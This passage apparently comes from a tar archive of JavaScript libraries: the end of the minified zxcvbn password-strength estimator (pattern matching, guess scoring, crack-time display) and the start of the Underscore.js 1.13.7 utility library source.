DATE_MAX_YEAR,DATE_MIN_YEAR,DATE_SPLITS,GRAPHS,L33T_TABLE,RANKED_DICTIONARIES,REGEXEN,adjacency_graphs,build_ranked_dict,frequency_lists,lst,matching,name,rot_13,scoring;frequency_lists=require("./frequency_lists"),adjacency_graphs=require("./adjacency_graphs"),scoring=require("./scoring"),rot_13=function(e){return e.replace(/[a-zA-Z]/g,function(e){return String.fromCharCode((e<="Z"?90:122)>=(e=e.charCodeAt(0)+13)?e:e-26)})},build_ranked_dict=function(e){var t,n,r,i,a;for(i={},t=1,r=0,n=e.length;r<n;r++)a=e[r],i[a]=t,t+=1;return i},RANKED_DICTIONARIES={};for(name in frequency_lists)lst=frequency_lists[name],RANKED_DICTIONARIES[name]=build_ranked_dict(lst);GRAPHS={qwerty:adjacency_graphs.qwerty,dvorak:adjacency_graphs.dvorak,keypad:adjacency_graphs.keypad,mac_keypad:adjacency_graphs.mac_keypad},L33T_TABLE={a:["4","@"],b:["8"],c:["(","{","[","<"],e:["3"],g:["6","9"],i:["1","!","|"],l:["1","|","7"],o:["0"],s:["$","5"],t:["+","7"],x:["%"],z:["2"]},REGEXEN={recent_year:/19\d\d|200\d|201\d/g},DATE_MAX_YEAR=2050,DATE_MIN_YEAR=1e3,DATE_SPLITS={4:[[1,2],[2,3]],5:[[1,3],[2,3]],6:[[1,2],[2,4],[4,5]],7:[[1,3],[2,3],[4,5],[4,6]],8:[[2,4],[4,6]]},matching={empty:function(e){var t;return 0===function(){var n;n=[];for(t in e)n.push(t);return n}().length},extend:function(e,t){return e.push.apply(e,t)},translate:function(e,t){var n;return function(){var r,i,a,s;for(a=e.split(""),s=[],i=0,r=a.length;i<r;i++)n=a[i],s.push(t[n]||n);return s}().join("")},mod:function(e,t){return(e%t+t)%t},sorted:function(e){return e.sort(function(e,t){return e.i-t.i||e.j-t.j})},omnimatch:function(e){var t,n,r,i,a;for(i=[],r=[this.dictionary_match,this.reverse_dictionary_match,this.l33t_match,this.spatial_match,this.repeat_match,this.sequence_match,this.regex_match,this.date_match],a=0,t=r.length;a<t;a++)n=r[a],this.extend(i,n.call(this,e));return this.sorted(i)},dictionary_match:function(e,t){var n,r,i,a,s,o,h,u,c,l,_,f,d,p;null==t&&(t=RANKED_DICTIONARIES),s=[],a=e.length,u=e.toLowerCase(),u=rot_13(u);for(n in t)for(l=t[n],r=o=0,_=a;0<=_?o<_:o>_;r=0<=_?++o:--o)for(i=h=f=r,d=a;f<=d?h<d:h>d;i=f<=d?++h:--h)u.slice(r,+i+1||9e9)in l&&(p=u.slice(r,+i+1||9e9),c=l[p],s.push({pattern:"dictionary",i:r,j:i,token:e.slice(r,+i+1||9e9),matched_word:rot_13(p),rank:c,dictionary_name:n,reversed:!1,l33t:!1}));return this.sorted(s)},reverse_dictionary_match:function(e,t){var n,r,i,a,s,o;for(null==t&&(t=RANKED_DICTIONARIES),o=e.split("").reverse().join(""),i=this.dictionary_match(o,t),a=0,n=i.length;a<n;a++)r=i[a],r.token=r.token.split("").reverse().join(""),r.reversed=!0,s=[e.length-1-r.j,e.length-1-r.i],r.i=s[0],r.j=s[1];return this.sorted(i)},set_user_input_dictionary:function(e){return RANKED_DICTIONARIES.user_inputs=build_ranked_dict(e.slice())},relevant_l33t_subtable:function(e,t){var n,r,i,a,s,o,h,u,c,l;for(s={},o=e.split(""),a=0,r=o.length;a<r;a++)n=o[a],s[n]=!0;l={};for(i in t)c=t[i],h=function(){var e,t,n;for(n=[],t=0,e=c.length;t<e;t++)u=c[t],u in s&&n.push(u);return n}(),h.length>0&&(l[i]=h);return l},enumerate_l33t_subs:function(e){var t,n,r,i,a,s,o,h,u,c,l,_,f,d,p;a=function(){var t;t=[];for(i in e)t.push(i);return t}(),p=[[]],n=function(e){var t,n,r,a,s,o,h,u;for(n=[],s={},o=0,a=e.length;o<a;o++)h=e[o],t=function(){var e,t,n;for(n=[],u=t=0,e=h.length;t<e;u=++t)i=h[u],n.push([i,u]);return n}(),t.sort(),r=function(){var e,n,r;for(r=[],u=n=0,e=t.length;n<e;u=++n)i=t[u],r.push(i+","+u);return r}().join("-"),r in s||(s[r]=!0,n.push(h));return n},r=function(t){var i,a,s,o,h,u,c,l,_,f,d,g,m,A,E,y;if(t.length){for(a=t[0],m=t.slice(1),c=[],d=e[a],l=0,h=d.length;l<h;l++)for(o=d[l],_=0,u=p.length;_<u;_++){for(A=p[_],i=-1,s=f=0,g=A.length;0<=g?f<g:f>g;s=0<=g?++f:--f)if(A[s][0]===o){i=s;break}i===-1?(y=A.concat([[o,a]]),c.push(y)):(E=A.slice(0),E.splice(i,1),E.push([o,a]),c.push(A),c.push(E))}return p=n(c),r(m)}},r(a),d=[];for(u=0,o=p.length;u<o;u++){for(_=p[u],f={},c=0,h=_.length;c<h;c++)l=_[c],s=l[0],t=l[1],f[s]=t;d.push(f)}return d},l33t_match:function(e,t,n){var r,i,a,s,o,h,u,c,l,_,f,d,p,g,m,A;for(null==t&&(t=RANKED_DICTIONARIES),null==n&&(n=L33T_TABLE),u=[],_=this.enumerate_l33t_subs(this.relevant_l33t_subtable(e,n)),c=0,a=_.length;c<a&&(d=_[c],!this.empty(d));c++)for(g=this.translate(e,d),f=this.dictionary_match(g,t),l=0,s=f.length;l<s;l++)if(o=f[l],m=e.slice(o.i,+o.j+1||9e9),m.toLowerCase()!==o.matched_word){h={};for(p in d)r=d[p],m.indexOf(p)!==-1&&(h[p]=r);o.l33t=!0,o.token=m,o.sub=h,o.sub_display=function(){var e;e=[];for(i in h)A=h[i],e.push(i+" -> "+A);return e}().join(", "),u.push(o)}return this.sorted(u.filter(function(e){return e.token.length>1}))},spatial_match:function(e,t){var n,r,i;null==t&&(t=GRAPHS),i=[];for(r in t)n=t[r],this.extend(i,this.spatial_match_helper(e,n,r));return this.sorted(i)},SHIFTED_RX:/[~!@#$%^&*()_+QWERTYUIOP{}|ASDFGHJKL:"ZXCVBNM<>?]/,spatial_match_helper:function(e,t,n){var r,i,a,s,o,h,u,c,l,_,f,d,p,g,m;for(f=[],u=0;u<e.length-1;)for(c=u+1,l=null,m=0,g="qwerty"!==n&&"dvorak"!==n||!this.SHIFTED_RX.exec(e.charAt(u))?0:1;;){if(p=e.charAt(c-1),o=!1,h=-1,s=-1,i=t[p]||[],c<e.length)for(a=e.charAt(c),d=0,_=i.length;d<_;d++)if(r=i[d],s+=1,r&&r.indexOf(a)!==-1){o=!0,h=s,1===r.indexOf(a)&&(g+=1),l!==h&&(m+=1,l=h);break}if(!o){c-u>2&&f.push({pattern:"spatial",i:u,j:c-1,token:e.slice(u,c),graph:n,turns:m,shifted_count:g}),u=c;break}c+=1}return f},repeat_match:function(e){var t,n,r,i,a,s,o,h,u,c,l,_,f,d,p;for(d=[],a=/(.+)\1+/g,c=/(.+?)\1+/g,l=/^(.+?)\1+$/,u=0;u<e.length&&(a.lastIndex=c.lastIndex=u,s=a.exec(e),_=c.exec(e),null!=s);)s[0].length>_[0].length?(f=s,i=l.exec(f[0])[1]):(f=_,i=f[1]),p=[f.index,f.index+f[0].length-1],o=p[0],h=p[1],t=scoring.most_guessable_match_sequence(i,this.omnimatch(i)),r=t.sequence,n=t.guesses,d.push({pattern:"repeat",i:o,j:h,token:f[0],base_token:i,base_guesses:n,base_matches:r,repeat_count:f[0].length/i.length}),u=h+1;return d},MAX_DELTA:5,sequence_match:function(e){var t,n,r,i,a,s,o,h,u;if(1===e.length)return[];for(u=function(t){return function(n,r,i){var a,s,o,u;if((r-n>1||1===Math.abs(i))&&0<(a=Math.abs(i))&&a<=t.MAX_DELTA)return u=e.slice(n,+r+1||9e9),/^[a-z]+$/.test(u)?(s="lower",o=26):/^[A-Z]+$/.test(u)?(s="upper",o=26):/^\d+$/.test(u)?(s="digits",o=10):(s="unicode",o=26),h.push({pattern:"sequence",i:n,j:r,token:e.slice(n,+r+1||9e9),sequence_name:s,sequence_space:o,ascending:i>0})}}(this),h=[],n=0,a=null,i=s=1,o=e.length;1<=o?s<o:s>o;i=1<=o?++s:--s)t=e.charCodeAt(i)-e.charCodeAt(i-1),null==a&&(a=t),t!==a&&(r=i-1,u(n,r,a),n=r,a=t);return u(n,e.length-1,a),h},regex_match:function(e,t){var n,r,i,a;null==t&&(t=REGEXEN),n=[];for(name in t)for(r=t[name],r.lastIndex=0;i=r.exec(e);)a=i[0],n.push({pattern:"regex",token:a,i:i.index,j:i.index+i[0].length-1,regex_name:name,regex_match:i});return this.sorted(n)},date_match:function(e){var t,n,r,i,a,s,o,h,u,c,l,_,f,d,p,g,m,A,E,y,v,I,R,T,D,k,x,j,b,N,S,q,C,L;for(_=[],f=/^\d{4,8}$/,d=/^(\d{1,4})([\s\/\\_.-])(\d{1,2})\2(\d{1,4})$/,s=m=0,v=e.length-4;0<=v?m<=v:m>=v;s=0<=v?++m:--m)for(o=A=I=s+3,R=s+7;(I<=R?A<=R:A>=R)&&!(o>=e.length);o=I<=R?++A:--A)if(L=e.slice(s,+o+1||9e9),f.exec(L)){for(r=[],T=DATE_SPLITS[L.length],E=0,c=T.length;E<c;E++)D=T[E],h=D[0],u=D[1],a=this.map_ints_to_dmy([parseInt(L.slice(0,h)),parseInt(L.slice(h,u)),parseInt(L.slice(u))]),null!=a&&r.push(a);if(r.length>0){for(t=r[0],p=function(e){return Math.abs(e.year-scoring.REFERENCE_YEAR)},g=p(r[0]),k=r.slice(1),y=0,l=k.length;y<l;y++)n=k[y],i=p(n),i<g&&(x=[n,i],t=x[0],g=x[1]);_.push({pattern:"date",token:L,i:s,j:o,separator:"",year:t.year,month:t.month,day:t.day})}}for(s=q=0,j=e.length-6;0<=j?q<=j:q>=j;s=0<=j?++q:--q)for(o=C=b=s+5,N=s+9;(b<=N?C<=N:C>=N)&&!(o>=e.length);o=b<=N?++C:--C)L=e.slice(s,+o+1||9e9),S=d.exec(L),null!=S&&(a=this.map_ints_to_dmy([parseInt(S[1]),parseInt(S[3]),parseInt(S[4])]),null!=a&&_.push({pattern:"date",token:L,i:s,j:o,separator:S[2],year:a.year,month:a.month,day:a.day}));return this.sorted(_.filter(function(e){var t,n,r,i;for(t=!1,i=0,n=_.length;i<n;i++)if(r=_[i],e!==r&&r.i<=e.i&&r.j>=e.j){t=!0;break}return!t}))},map_ints_to_dmy:function(e){var t,n,r,i,a,s,o,h,u,c,l,_,f,d,p,g;if(!(e[1]>31||e[1]<=0)){for(o=0,h=0,p=0,s=0,r=e.length;s<r;s++){if(n=e[s],99<n&&n<DATE_MIN_YEAR||n>DATE_MAX_YEAR)return;n>31&&(h+=1),n>12&&(o+=1),n<=0&&(p+=1)}if(!(h>=2||3===o||p>=2)){for(c=[[e[2],e.slice(0,2)],[e[0],e.slice(1,3)]],u=0,i=c.length;u<i;u++)if(_=c[u],g=_[0],d=_[1],DATE_MIN_YEAR<=g&&g<=DATE_MAX_YEAR)return t=this.map_ints_to_dm(d),null!=t?{year:g,month:t.month,day:t.day}:void 0;for(l=0,a=c.length;l<a;l++)if(f=c[l],g=f[0],d=f[1],t=this.map_ints_to_dm(d),null!=t)return g=this.two_to_four_digit_year(g),{year:g,month:t.month,day:t.day}}}},map_ints_to_dm:function(e){var t,n,r,i,a,s;for(a=[e,e.slice().reverse()],i=0,n=a.length;i<n;i++)if(s=a[i],t=s[0],r=s[1],1<=t&&t<=31&&1<=r&&r<=12)return{day:t,month:r}},two_to_four_digit_year:function(e){return e>99?e:e>50?e+1900:e+2e3}},module.exports=matching; },{"./adjacency_graphs":1,"./frequency_lists":3,"./scoring":6}],6:[function(require,module,exports){ var BRUTEFORCE_CARDINALITY,MIN_GUESSES_BEFORE_GROWING_SEQUENCE,MIN_SUBMATCH_GUESSES_MULTI_CHAR,MIN_SUBMATCH_GUESSES_SINGLE_CHAR,adjacency_graphs,calc_average_degree,k,scoring,v;adjacency_graphs=require("./adjacency_graphs"),calc_average_degree=function(e){var t,r,n,s,a,u;t=0;for(n in e)a=e[n],t+=function(){var e,t,r;for(r=[],t=0,e=a.length;t<e;t++)s=a[t],s&&r.push(s);return r}().length;return t/=function(){var t;t=[];for(r in e)u=e[r],t.push(r);return t}().length},BRUTEFORCE_CARDINALITY=10,MIN_GUESSES_BEFORE_GROWING_SEQUENCE=1e4,MIN_SUBMATCH_GUESSES_SINGLE_CHAR=10,MIN_SUBMATCH_GUESSES_MULTI_CHAR=50,scoring={nCk:function(e,t){var r,n,s,a;if(t>e)return 0;if(0===t)return 1;for(s=1,r=n=1,a=t;1<=a?n<=a:n>=a;r=1<=a?++n:--n)s*=e,s/=r,e-=1;return s},log10:function(e){return Math.log(e)/Math.log(10)},log2:function(e){return Math.log(e)/Math.log(2)},factorial:function(e){var t,r,n,s;if(e<2)return 1;for(t=1,r=n=2,s=e;2<=s?n<=s:n>=s;r=2<=s?++n:--n)t*=r;return t},most_guessable_match_sequence:function(e,t,r){var n,s,a,u,i,_,o,h,E,c,g,f,l,A,S,p,R,I,v,M,N,C,T,U;for(null==r&&(r=!1),l=e.length,f=function(){var e,t,r;for(r=[],n=e=0,t=l;0<=t?e<t:e>t;n=0<=t?++e:--e)r.push([]);return r}(),A=0,_=t.length;A<_;A++)c=t[A],f[c.j].push(c);for(I=0,o=f.length;I<o;I++)E=f[I],E.sort(function(e,t){return e.i-t.i});for(S={m:function(){var e,t,r;for(t=[],n=r=0,e=l;0<=e?r<e:r>e;n=0<=e?++r:--r)t.push({});return t}(),pi:function(){var e,t,r;for(t=[],n=r=0,e=l;0<=e?r<e:r>e;n=0<=e?++r:--r)t.push({});return t}(),g:function(){var e,t,r;for(t=[],n=r=0,e=l;0<=e?r<e:r>e;n=0<=e?++r:--r)t.push({});return t}()},T=function(t){return function(n,s){var a,u,i,_,o,h;_=n.j,o=t.estimate_guesses(n,e),s>1&&(o*=S.pi[n.i-1][s-1]),i=t.factorial(s)*o,r||(i+=Math.pow(MIN_GUESSES_BEFORE_GROWING_SEQUENCE,s-1)),h=S.g[_];for(u in h)if(a=h[u],!(u>s)&&a<=i)return;return S.g[_][s]=i,S.m[_][s]=n,S.pi[_][s]=o}}(this),s=function(e){return function(e){var t,r,n,s,a,u;for(c=g(0,e),T(c,1),a=[],t=u=1,s=e;1<=s?u<=s:u>=s;t=1<=s?++u:--u)c=g(t,e),a.push(function(){var e,s;e=S.m[t-1],s=[];for(r in e)n=e[r],r=parseInt(r),"bruteforce"!==n.pattern&&s.push(T(c,r+1));return s}());return a}}(this),g=function(t){return function(t,r){return{pattern:"bruteforce",token:e.slice(t,+r+1||9e9),i:t,j:r}}}(this),C=function(e){return function(e){var t,r,n,s,a,u,i;u=[],s=e-1,a=void 0,n=Infinity,i=S.g[s];for(r in i)t=i[r],t<n&&(a=r,n=t);for(;s>=0;)c=S.m[s][a],u.unshift(c),s=c.i-1,a--;return u}}(this),u=N=0,v=l;0<=v?N<v:N>v;u=0<=v?++N:--N){for(M=f[u],U=0,h=M.length;U<h;U++)if(c=M[U],c.i>0)for(i in S.m[c.i-1])i=parseInt(i),T(c,i+1);else T(c,1);s(u)}return R=C(l),p=R.length,a=0===e.length?1:S.g[l-1][p],{password:e,guesses:a,guesses_log10:this.log10(a),sequence:R}},estimate_guesses:function(e,t){var r,n,s;return null!=e.guesses?e.guesses:(s=1,e.token.length<t.length&&(s=1===e.token.length?MIN_SUBMATCH_GUESSES_SINGLE_CHAR:MIN_SUBMATCH_GUESSES_MULTI_CHAR),r={bruteforce:this.bruteforce_guesses,dictionary:this.dictionary_guesses,spatial:this.spatial_guesses,repeat:this.repeat_guesses,sequence:this.sequence_guesses,regex:this.regex_guesses,date:this.date_guesses},n=r[e.pattern].call(this,e),e.guesses=Math.max(n,s),e.guesses_log10=this.log10(e.guesses),e.guesses)},bruteforce_guesses:function(e){var t,r;return t=Math.pow(BRUTEFORCE_CARDINALITY,e.token.length),t===Number.POSITIVE_INFINITY&&(t=Number.MAX_VALUE),r=1===e.token.length?MIN_SUBMATCH_GUESSES_SINGLE_CHAR+1:MIN_SUBMATCH_GUESSES_MULTI_CHAR+1,Math.max(t,r)},repeat_guesses:function(e){return e.base_guesses*e.repeat_count},sequence_guesses:function(e){var t,r;return r=e.token.charAt(0),t="a"===r||"A"===r||"z"===r||"Z"===r||"0"===r||"1"===r||"9"===r?4:r.match(/\d/)?10:26,e.ascending||(t*=2),t*e.token.length},MIN_YEAR_SPACE:20,REFERENCE_YEAR:2016,regex_guesses:function(e){var t,r;if(t={alpha_lower:26,alpha_upper:26,alpha:52,alphanumeric:62,digits:10,symbols:33},e.regex_name in t)return Math.pow(t[e.regex_name],e.token.length);switch(e.regex_name){case"recent_year":return r=Math.abs(parseInt(e.regex_match[0])-this.REFERENCE_YEAR),r=Math.max(r,this.MIN_YEAR_SPACE)}},date_guesses:function(e){var t,r;return r=Math.max(Math.abs(e.year-this.REFERENCE_YEAR),this.MIN_YEAR_SPACE),t=365*r,e.separator&&(t*=4),t},KEYBOARD_AVERAGE_DEGREE:calc_average_degree(adjacency_graphs.qwerty),KEYPAD_AVERAGE_DEGREE:calc_average_degree(adjacency_graphs.keypad),KEYBOARD_STARTING_POSITIONS:function(){var e,t;e=adjacency_graphs.qwerty,t=[];for(k in e)v=e[k],t.push(k);return t}().length,KEYPAD_STARTING_POSITIONS:function(){var e,t;e=adjacency_graphs.keypad,t=[];for(k in e)v=e[k],t.push(k);return t}().length,spatial_guesses:function(e){var t,r,n,s,a,u,i,_,o,h,E,c,g,f,l,A,S,p;for("qwerty"===(E=e.graph)||"dvorak"===E?(l=this.KEYBOARD_STARTING_POSITIONS,s=this.KEYBOARD_AVERAGE_DEGREE):(l=this.KEYPAD_STARTING_POSITIONS,s=this.KEYPAD_AVERAGE_DEGREE),a=0,t=e.token.length,S=e.turns,u=_=2,c=t;2<=c?_<=c:_>=c;u=2<=c?++_:--_)for(o=Math.min(S,u-1),i=h=1,g=o;1<=g?h<=g:h>=g;i=1<=g?++h:--h)a+=this.nCk(u-1,i-1)*l*Math.pow(s,i);if(e.shifted_count)if(r=e.shifted_count,n=e.token.length-e.shifted_count,0===r||0===n)a*=2;else{for(A=0,u=p=1,f=Math.min(r,n);1<=f?p<=f:p>=f;u=1<=f?++p:--p)A+=this.nCk(r+n,u);a*=A}return a},dictionary_guesses:function(e){var t;return e.base_guesses=e.rank,e.uppercase_variations=this.uppercase_variations(e),e.l33t_variations=this.l33t_variations(e),t=e.reversed&&2||1,e.base_guesses*e.uppercase_variations*e.l33t_variations*t},START_UPPER:/^[A-Z][^A-Z]+$/,END_UPPER:/^[^A-Z]+[A-Z]$/,ALL_UPPER:/^[^a-z]+$/,ALL_LOWER:/^[^A-Z]+$/,uppercase_variations:function(e){var t,r,n,s,a,u,i,_,o,h,E,c;if(c=e.token,c.match(this.ALL_LOWER)||c.toLowerCase()===c)return 1;for(_=[this.START_UPPER,this.END_UPPER,this.ALL_UPPER],u=0,a=_.length;u<a;u++)if(h=_[u],c.match(h))return 2;for(r=function(){var e,t,r,s;for(r=c.split(""),s=[],t=0,e=r.length;t<e;t++)n=r[t],n.match(/[A-Z]/)&&s.push(n);return s}().length,t=function(){var e,t,r,s;for(r=c.split(""),s=[],t=0,e=r.length;t<e;t++)n=r[t],n.match(/[a-z]/)&&s.push(n);return s}().length,E=0,s=i=1,o=Math.min(r,t);1<=o?i<=o:i>=o;s=1<=o?++i:--i)E+=this.nCk(r+t,s);return E},l33t_variations:function(e){var t,r,n,s,a,u,i,_,o,h,E,c,g;if(!e.l33t)return 1;g=1,o=e.sub;for(E in o)if(c=o[E],s=e.token.toLowerCase().split(""),t=function(){var e,t,r;for(r=[],t=0,e=s.length;t<e;t++)n=s[t],n===E&&r.push(n);return r}().length,r=function(){var e,t,r;for(r=[],t=0,e=s.length;t<e;t++)n=s[t],n===c&&r.push(n);return r}().length,0===t||0===r)g*=2;else{for(i=Math.min(r,t),_=0,a=u=1,h=i;1<=h?u<=h:u>=h;a=1<=h?++u:--u)_+=this.nCk(r+t,a);g*=_}return g}},module.exports=scoring; },{"./adjacency_graphs":1}],7:[function(require,module,exports){ var time_estimates;time_estimates={estimate_attack_times:function(e){var t,n,s,o;n={online_throttling_100_per_hour:e/(100/3600),online_no_throttling_10_per_second:e/10,offline_slow_hashing_1e4_per_second:e/1e4,offline_fast_hashing_1e10_per_second:e/1e10},t={};for(s in n)o=n[s],t[s]=this.display_time(o);return{crack_times_seconds:n,crack_times_display:t,score:this.guesses_to_score(e)}},guesses_to_score:function(e){var t;return t=5,e<1e3+t?0:e<1e6+t?1:e<1e8+t?2:e<1e10+t?3:4},display_time:function(e){var t,n,s,o,_,r,i,a,u,c;return i=60,r=60*i,s=24*r,a=31*s,c=12*a,n=100*c,u=e<1?[null,"less than a second"]:e<i?(t=Math.round(e),[t,t+" second"]):e<r?(t=Math.round(e/i),[t,t+" minute"]):e<s?(t=Math.round(e/r),[t,t+" hour"]):e<a?(t=Math.round(e/s),[t,t+" day"]):e<c?(t=Math.round(e/a),[t,t+" month"]):e<n?(t=Math.round(e/c),[t,t+" year"]):[null,"centuries"],o=u[0],_=u[1],null!=o&&1!==o&&(_+="s"),_}},module.exports=time_estimates; },{}]},{},[4])(4) }); underscore.js 0000644 00000206177 15111757752 0007303 0 ustar 00 (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? module.exports = factory() : typeof define === 'function' && define.amd ? define('underscore', factory) : (global = typeof globalThis !== 'undefined' ? globalThis : global || self, (function () { var current = global._; var exports = global._ = factory(); exports.noConflict = function () { global._ = current; return exports; }; }())); }(this, (function () { // Underscore.js 1.13.7 // https://underscorejs.org // (c) 2009-2024 Jeremy Ashkenas, Julian Gonggrijp, and DocumentCloud and Investigative Reporters & Editors // Underscore may be freely distributed under the MIT license. // Current version. var VERSION = '1.13.7'; // Establish the root object, `window` (`self`) in the browser, `global` // on the server, or `this` in some virtual machines. We use `self` // instead of `window` for `WebWorker` support. var root = (typeof self == 'object' && self.self === self && self) || (typeof global == 'object' && global.global === global && global) || Function('return this')() || {}; // Save bytes in the minified (but not gzipped) version: var ArrayProto = Array.prototype, ObjProto = Object.prototype; var SymbolProto = typeof Symbol !== 'undefined' ? Symbol.prototype : null; // Create quick reference variables for speed access to core prototypes. var push = ArrayProto.push, slice = ArrayProto.slice, toString = ObjProto.toString, hasOwnProperty = ObjProto.hasOwnProperty; // Modern feature detection. var supportsArrayBuffer = typeof ArrayBuffer !== 'undefined', supportsDataView = typeof DataView !== 'undefined'; // All **ECMAScript 5+** native function implementations that we hope to use // are declared here. var nativeIsArray = Array.isArray, nativeKeys = Object.keys, nativeCreate = Object.create, nativeIsView = supportsArrayBuffer && ArrayBuffer.isView; // Create references to these builtin functions because we override them. var _isNaN = isNaN, _isFinite = isFinite; // Keys in IE < 9 that won't be iterated by `for key in ...` and thus missed. var hasEnumBug = !{toString: null}.propertyIsEnumerable('toString'); var nonEnumerableProps = ['valueOf', 'isPrototypeOf', 'toString', 'propertyIsEnumerable', 'hasOwnProperty', 'toLocaleString']; // The largest integer that can be represented exactly. var MAX_ARRAY_INDEX = Math.pow(2, 53) - 1; // Some functions take a variable number of arguments, or a few expected // arguments at the beginning and then a variable number of values to operate // on. This helper accumulates all remaining arguments past the function’s // argument length (or an explicit `startIndex`), into an array that becomes // the last argument. Similar to ES6’s "rest parameter". function restArguments(func, startIndex) { startIndex = startIndex == null ? func.length - 1 : +startIndex; return function() { var length = Math.max(arguments.length - startIndex, 0), rest = Array(length), index = 0; for (; index < length; index++) { rest[index] = arguments[index + startIndex]; } switch (startIndex) { case 0: return func.call(this, rest); case 1: return func.call(this, arguments[0], rest); case 2: return func.call(this, arguments[0], arguments[1], rest); } var args = Array(startIndex + 1); for (index = 0; index < startIndex; index++) { args[index] = arguments[index]; } args[startIndex] = rest; return func.apply(this, args); }; } // Is a given variable an object? function isObject(obj) { var type = typeof obj; return type === 'function' || (type === 'object' && !!obj); } // Is a given value equal to null? function isNull(obj) { return obj === null; } // Is a given variable undefined? function isUndefined(obj) { return obj === void 0; } // Is a given value a boolean? function isBoolean(obj) { return obj === true || obj === false || toString.call(obj) === '[object Boolean]'; } // Is a given value a DOM element? function isElement(obj) { return !!(obj && obj.nodeType === 1); } // Internal function for creating a `toString`-based type tester. function tagTester(name) { var tag = '[object ' + name + ']'; return function(obj) { return toString.call(obj) === tag; }; } var isString = tagTester('String'); var isNumber = tagTester('Number'); var isDate = tagTester('Date'); var isRegExp = tagTester('RegExp'); var isError = tagTester('Error'); var isSymbol = tagTester('Symbol'); var isArrayBuffer = tagTester('ArrayBuffer'); var isFunction = tagTester('Function'); // Optimize `isFunction` if appropriate. Work around some `typeof` bugs in old // v8, IE 11 (#1621), Safari 8 (#1929), and PhantomJS (#2236). var nodelist = root.document && root.document.childNodes; if (typeof /./ != 'function' && typeof Int8Array != 'object' && typeof nodelist != 'function') { isFunction = function(obj) { return typeof obj == 'function' || false; }; } var isFunction$1 = isFunction; var hasObjectTag = tagTester('Object'); // In IE 10 - Edge 13, `DataView` has string tag `'[object Object]'`. // In IE 11, the most common among them, this problem also applies to // `Map`, `WeakMap` and `Set`. // Also, there are cases where an application can override the native // `DataView` object, in cases like that we can't use the constructor // safely and should just rely on alternate `DataView` checks var hasDataViewBug = ( supportsDataView && (!/\[native code\]/.test(String(DataView)) || hasObjectTag(new DataView(new ArrayBuffer(8)))) ), isIE11 = (typeof Map !== 'undefined' && hasObjectTag(new Map)); var isDataView = tagTester('DataView'); // In IE 10 - Edge 13, we need a different heuristic // to determine whether an object is a `DataView`. // Also, in cases where the native `DataView` is // overridden we can't rely on the tag itself. function alternateIsDataView(obj) { return obj != null && isFunction$1(obj.getInt8) && isArrayBuffer(obj.buffer); } var isDataView$1 = (hasDataViewBug ? alternateIsDataView : isDataView); // Is a given value an array? // Delegates to ECMA5's native `Array.isArray`. var isArray = nativeIsArray || tagTester('Array'); // Internal function to check whether `key` is an own property name of `obj`. function has$1(obj, key) { return obj != null && hasOwnProperty.call(obj, key); } var isArguments = tagTester('Arguments'); // Define a fallback version of the method in browsers (ahem, IE < 9), where // there isn't any inspectable "Arguments" type. (function() { if (!isArguments(arguments)) { isArguments = function(obj) { return has$1(obj, 'callee'); }; } }()); var isArguments$1 = isArguments; // Is a given object a finite number? function isFinite$1(obj) { return !isSymbol(obj) && _isFinite(obj) && !isNaN(parseFloat(obj)); } // Is the given value `NaN`? function isNaN$1(obj) { return isNumber(obj) && _isNaN(obj); } // Predicate-generating function. Often useful outside of Underscore. function constant(value) { return function() { return value; }; } // Common internal logic for `isArrayLike` and `isBufferLike`. function createSizePropertyCheck(getSizeProperty) { return function(collection) { var sizeProperty = getSizeProperty(collection); return typeof sizeProperty == 'number' && sizeProperty >= 0 && sizeProperty <= MAX_ARRAY_INDEX; } } // Internal helper to generate a function to obtain property `key` from `obj`. function shallowProperty(key) { return function(obj) { return obj == null ? void 0 : obj[key]; }; } // Internal helper to obtain the `byteLength` property of an object. var getByteLength = shallowProperty('byteLength'); // Internal helper to determine whether we should spend extensive checks against // `ArrayBuffer` et al. var isBufferLike = createSizePropertyCheck(getByteLength); // Is a given value a typed array? var typedArrayPattern = /\[object ((I|Ui)nt(8|16|32)|Float(32|64)|Uint8Clamped|Big(I|Ui)nt64)Array\]/; function isTypedArray(obj) { // `ArrayBuffer.isView` is the most future-proof, so use it when available. // Otherwise, fall back on the above regular expression. return nativeIsView ? (nativeIsView(obj) && !isDataView$1(obj)) : isBufferLike(obj) && typedArrayPattern.test(toString.call(obj)); } var isTypedArray$1 = supportsArrayBuffer ? isTypedArray : constant(false); // Internal helper to obtain the `length` property of an object. var getLength = shallowProperty('length'); // Internal helper to create a simple lookup structure. // `collectNonEnumProps` used to depend on `_.contains`, but this led to // circular imports. `emulatedSet` is a one-off solution that only works for // arrays of strings. function emulatedSet(keys) { var hash = {}; for (var l = keys.length, i = 0; i < l; ++i) hash[keys[i]] = true; return { contains: function(key) { return hash[key] === true; }, push: function(key) { hash[key] = true; return keys.push(key); } }; } // Internal helper. Checks `keys` for the presence of keys in IE < 9 that won't // be iterated by `for key in ...` and thus missed. Extends `keys` in place if // needed. function collectNonEnumProps(obj, keys) { keys = emulatedSet(keys); var nonEnumIdx = nonEnumerableProps.length; var constructor = obj.constructor; var proto = (isFunction$1(constructor) && constructor.prototype) || ObjProto; // Constructor is a special case. var prop = 'constructor'; if (has$1(obj, prop) && !keys.contains(prop)) keys.push(prop); while (nonEnumIdx--) { prop = nonEnumerableProps[nonEnumIdx]; if (prop in obj && obj[prop] !== proto[prop] && !keys.contains(prop)) { keys.push(prop); } } } // Retrieve the names of an object's own properties. // Delegates to **ECMAScript 5**'s native `Object.keys`. function keys(obj) { if (!isObject(obj)) return []; if (nativeKeys) return nativeKeys(obj); var keys = []; for (var key in obj) if (has$1(obj, key)) keys.push(key); // Ahem, IE < 9. if (hasEnumBug) collectNonEnumProps(obj, keys); return keys; } // Is a given array, string, or object empty? // An "empty" object has no enumerable own-properties. function isEmpty(obj) { if (obj == null) return true; // Skip the more expensive `toString`-based type checks if `obj` has no // `.length`. var length = getLength(obj); if (typeof length == 'number' && ( isArray(obj) || isString(obj) || isArguments$1(obj) )) return length === 0; return getLength(keys(obj)) === 0; } // Returns whether an object has a given set of `key:value` pairs. function isMatch(object, attrs) { var _keys = keys(attrs), length = _keys.length; if (object == null) return !length; var obj = Object(object); for (var i = 0; i < length; i++) { var key = _keys[i]; if (attrs[key] !== obj[key] || !(key in obj)) return false; } return true; } // If Underscore is called as a function, it returns a wrapped object that can // be used OO-style. This wrapper holds altered versions of all functions added // through `_.mixin`. Wrapped objects may be chained. function _$1(obj) { if (obj instanceof _$1) return obj; if (!(this instanceof _$1)) return new _$1(obj); this._wrapped = obj; } _$1.VERSION = VERSION; // Extracts the result from a wrapped and chained 